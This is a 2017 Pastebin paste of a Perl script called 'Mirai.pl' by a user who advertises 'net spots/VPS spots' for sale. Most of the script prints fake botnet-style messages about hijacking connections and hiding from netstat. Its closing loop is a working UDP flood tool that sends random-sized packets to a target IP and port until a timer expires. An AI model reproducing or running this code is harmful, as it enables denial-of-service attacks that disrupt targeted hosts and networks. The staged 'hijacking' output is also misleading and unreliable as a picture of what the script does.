DenialWars

Mirai.pl ( Perl Script )

May 20th, 2017
596
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.78 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # I Wanted To Make A Perl Script
  4. # That Look Like A Mirai Botnet Just For Fun
  5. # Hmu For Net Spots/VPS Spots
  6. # Contact Info
  7. # IG@DenialWars
  8. # Kik @Vzsq
  9.  
  10. use Socket;
  11. use strict;
  12.  
  13. if ($#ARGV != 3) {
  14. print "\n\t\t\t***Command must recieve four arguements***\n";
  15. print "perl Mirai.pl ip port 0000 time\n";
  16. exit(1);
  17. }
  18.  
  19. my ($ip,$port,$size,$time) = @ARGV;
  20. my ($iaddr,$endtime,$psize,$pport);
  21. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  22. $endtime = time() + ($time ? $time : 1000000);
  23. socket(flood, PF_INET, SOCK_DGRAM, 17);
  24.  
  25. print "\e[34m[+] Login root\n\e[0m";
  26. print "\e[34m[+] Password ******\n\e[0m";
  27. print "\e[30m[+] \n\e[0m";
  28. sleep 1;
  29. print "\e[1;37m Checking Account...\n\e[0m";
  30. print "\e[37m[+] DDOS l Succesfully Hijacked Connection\n\e[0m";
  31. print "\e[37m[+] DDOS l Masking Connection From utmp+wtmp...\n\e[0m";
  32. sleep 1;
  33. print "\e[37m[+] DDOS l Hiding From Netstat...\n\e[0m";
  34. sleep 1;
  35. print "\e[37m[+] DDOS l Removing All Traces Of LD_PRELOAD...\n\e[0m";
  36. sleep 1;
  37. print "\e[37m[+] DDOS l Wiping env libc.poison.so.1\n\e[0m";
  38. sleep 1;
  39. print "\e[37m[+] DDOS l Wiping env libc.poison.so.2\n\e[0m";
  40. print "\e[37m[+] DDOS l Wiping env libc.poison.so.3\n\e[0m";
  41. print "\e[37m[+] DDOS l Wiping env libc.poison.so.4\n\e[0m";
  42. print "\e[37m[+] DDOS l Wiping env libc.poison.so.5\n\e[0m";
  43. print "\e[37m[+] DDOS l Setting Up Virtual Terminal...\n\e[0m";
  44. sleep 1;
  45. print "\e[1;37m[!] Sharing Access Is Prohibited\n\e[0m";
  46. sleep 1;
  47. print "\e[1;37m[!] Do NOT Share Your Credentials\n\e[0m";
  48. print "\e[36m Ready\n\e[0m";
  49.  
  50.  
  51.  
  52.  
  53.  
  54. for (;time() <= $endtime;) {
  55. $psize = $size ? $size : int(rand(1500-64)+64) ;
  56. $pport = $port ? $port : int(rand(65500))+1;
  57.  
  58. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment